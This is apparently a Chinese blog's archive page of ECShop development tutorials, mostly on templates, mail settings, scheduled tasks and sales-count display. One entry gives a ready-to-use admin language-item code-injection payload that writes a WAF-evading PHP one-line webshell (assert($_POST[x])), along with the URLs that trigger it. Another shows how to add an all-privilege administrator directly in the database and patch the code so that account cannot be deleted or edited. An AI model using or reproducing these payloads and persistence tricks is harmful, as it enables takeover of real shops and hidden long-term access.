分类归档

网站开发

FWQ
网站开发
ecshop商品详情页一会显示一会不显示处理方法
 Ecshop 二次开发的时候碰到个奇怪的问题,那就是在购买商品提交订单之后查看商品详情页面发现商品的详情参数都不见了,只剩下商品名称,其他的商品货号,上架时 间,本店售价都不显示了。然后进后台管理中心清空缓存后又恢复正常,再次提交订单又不显示了,无限纠结外加蛋疼中。 初 步预测原因出在goods.dwt或者flow.dwt文件中。只能挨着试试了,恢复默认模板之后发现与flow.dwt无关,而回复goods.dwt 的默认模板之后再次提交订单发现正常无问题了。然后就从goods.dwt开刀。经过反复测试,最终发现问题出在自己左侧自定义的top商品和hot商品 这里。经过仔细思考之后发觉最可能的原因就是这部分的代码和中间商品详情部分的代码冲突了。 果然如此,其实是左侧的代码中使用的smarty实例化的对象中,item都使用了goods这个参数,结果可想而知,左侧是一个数组,右侧是一个实际数据,当然也就无法输出了。解决方法很简单,那就修改左侧的item名称即可。例如这里我的修改方法为,将 <ul class="topsale-list" id="c101"> <!-- {foreach name=best_goods from=$best_goods item=goods}--> {if $smarty.foreach.best_goods.index <= 4} <li> <a href="{$goods.url}"> ... 修改为 <ul class="topsale-list" id="c101">…
2025-04-23 阅读全文 →
FWQ
网站开发
ecshop后台语言项执行漏洞详解
该漏洞需要能登录ecshop后台权限,简单修改下语言项目,即可在网站植入木马后门。 以下是详细分析 1.登陆到ecshop台后,选择模板管理,语言项编辑,搜索“用户信息” 为什么要搜索“用户信息”,还可以搜索其它的吗? 答案是搜索languages\zh_cn\user.php文件里任何一个变量都可以 2.添加如下后门,将用户信息改为 用户信息${${fputs(fopen(base64_decode(Sm95Q2hvdS5waHA),w),base64_decode(PD9waHAKYXNzZXJ0KAokX1BPU1RbeF0KKTsKPz4))}} 即生成一个JoyChou.php文件,内容为(可以过安全狗的一句话哦): <?php assert( $_POST[x] ); ?> 3.访问user.php即可产生shell(不用注册登录账户) http://localhost/ECShop_V2.7.3_UTF8_release0411/user.php 或 http://localhost/ECShop_V2.7.3_UTF8_release0411/languages/zh_cn/user.php
2025-04-23 阅读全文 →
FWQ
网站开发
在ECSHOP首页每个商品下显示已销售量
问题:想在首页每个商品下显示“已销售XX个”,该如何操作呢? 教程: 第1步:打开文件  includes/lib_goods.php 在该文件的末尾添加如下代码片段 function get_buy_sum($goods_id) { $sql = “select sum(goods_number) from ” . $GLOBALS[‘ecs’]->table(‘order_goods’) . ” AS g ,”.$GLOBALS[‘ecs’]->table(‘order_info’) . ” AS o WHERE o.order_id=g.order_id and…
2025-04-23 阅读全文 →
FWQ
网站开发
ecshop邮件服务项设置sina邮箱
在ecshop上配置sina邮箱发送邮件,首页进入ecshop 后台:系统设置–邮件服务器设置   如图,填写上信息后,单机确定 。    (注:邮件发送账号和邮件回复账号地址填写同一个sina邮箱。 账号密码为邮箱密码) 邮件地址:(填写一个真实存在的测试邮箱) 单机:发送测试邮件。 如果提示成功,说明设置成功!   如果没有提示成功。需要开发smtp服务,如图进入sina邮箱      (右上角设置) 保存后 回到邮件服务项测试,此时发送邮件成功!
2025-04-23 阅读全文 →
FWQ
网站开发
ecshop计划任务详细介绍教程
 计划任务,就是在适当的时候,让计算机执行适当地程序,以满足用户的需求。 计划任务分系统计划任务和网站计划任务。系统计划任务包括 Windows 操作系统计划任务和 Linux 操作系统计划任务。 在 Linux 中,我们经常用到 crond 服务器来完成这项工作。cron 服务器可以根据配置文件约定的时间来执行特定的作务。比如我们可以在配置文件中约定每天早上4点,对 httpd 服务器重新启动,这就是一个计划任务;windows 的计划任务我们大家都很熟悉。下面要介绍的是网站计划任务(访问触发)。 ECShop 系统的计划任务的安装使用情况。 ECShop 系统的计划任务的安装使用分两步完成: 一、安装自动上下架计划任务。 二、在确定商品、文章自动发布 页面进行具体的设置。 下面就开始介绍 ECShop 网站计划任务的详细的设置过程。 一、安装自动上下架计划任务 A.进入后台管理中心 -> 系统设置 -> 计划任务设置页面,见图 1 所示: 选择安装自动处理,进入自动处理商品的自动上、下架和文章的发布、取消设置页面。见图…
2025-04-23 阅读全文 →
FWQ
网站开发
ecshop网页加上快捷方式保存到桌面图标
本插件完成用户点击后在线生成ECSHOP网站的桌面方便方式图标。用户下载后,今后能够直接双击图标拜访该网站。运用本插件应当能够进步用户体会,并带来必定的回头客。虽然是一个网站小功用,但增加ECSHOP用户再次回访。 用户点击“点击将社区保留在桌面”,将弹出一个下载对话框,断定后。将在电脑桌面上完成生成你网站的方便方式图标,就像咱们手动在桌面创立相同。 那么怎么想让ECSHOP网站中有个连接,点击连接后保留指定页面的方便方式至客户端电脑中。 其生成原理很简单,即将url方便方式的内容强行输出为附件,当拜访时即下载到了一个指定的网站方便方式。但是这个功用的作用却可能是很大的,你能够设置其默许图标比方我的电脑、网上邻居、文件夹等相同,并且由于它是正常的方便方式,不会被杀毒软件等查杀,因而也常被一些黑客行动所运用,以带来无穷的实在拜访流量。 ​ 这篇文章详解ECSHOP怎么完成将网址保留到桌面,设为桌面图标的代码,示例如下: 将以上代码新建一个PHP文件保留,如:shortcut.php <?php $Shortcut = “[InternetShortcut] URL=http://www.ldhost.cn IDList= IconFile=C:\Windows\system32\SHELL32.dll IconIndex=43 [{000214A0-0000-0000-C000-000000000046}] Prop3=19,2 “; //注意修改上面的网址 $ua = $_SERVER[“HTTP_USER_AGENT”]; $filename = “EdaIT.CN.url”; //生成快捷文件的名称 $encoded_filename =…
2025-04-23 阅读全文 →
FWQ
网站开发
ECSHOP用户注册页面“密码提示问题”的问题项目
 两种方法 1、直接修改语言包文件 languages/zh_cn/user.php 找到下面部分并修改之  /* 密码找回问题 */ $_LANG[‘passwd_questions’][‘friend_birthday’] = ‘我最好朋友的生日?’; $_LANG[‘passwd_questions’][‘old_address’]     = ‘我儿时居住地的地址?’; $_LANG[‘passwd_questions’][‘motto’]           = ‘我的座右铭是?’; $_LANG[‘passwd_questions’][‘favorite_movie’]  = ‘我最喜爱的电影?’; $_LANG[‘passwd_questions’][‘favorite_song’]   = ‘我最喜爱的歌曲?’; $_LANG[‘passwd_questions’][‘favorite_food’]   = ‘我最喜爱的食物?’; $_LANG[‘passwd_questions’][‘interest’]    …
2025-04-23 阅读全文 →
FWQ
网站开发
让ecshop模板支持php运算
让 支持php运算在 cls_template.php 底部加入函数: /** * 处理math中的公式. * */ function get_math_para($val){ $pa= $this->str_trim($val); foreach($pa AS $value) { if(strrpos($value, ‘=’)) { list($a, $b) = explode(‘=’, str_replace(array(‘ ‘, ‘”‘, “‘”,…
2025-04-23 阅读全文 →
FWQ
网站开发
ecshop后台添加最高权限管理员
1.直接在ecshop数据库添加管理员账号、密码信息,action_list必须为All 2.防止添加的最高权限管理员被自带的admin修改和删除 (1)不能删除:修改privilege.php的elseif ($_REQUEST[‘act’] == ‘remove’) 大约1370行,/* ID为1的不允许删除 */if ($id == 1 || $id == 5)添加你在数据库添加的id (2).不能修改:在elseif ($_REQUEST[‘act’] == ‘edit’)里面添加 大约591行添加 如果管理员的权限为all并且不能是自己,则不能修改, if($_SESSION[‘admin_id’] != $_REQUEST[‘id’]){     if($user_info[‘action_list’]…
2025-04-23 阅读全文 →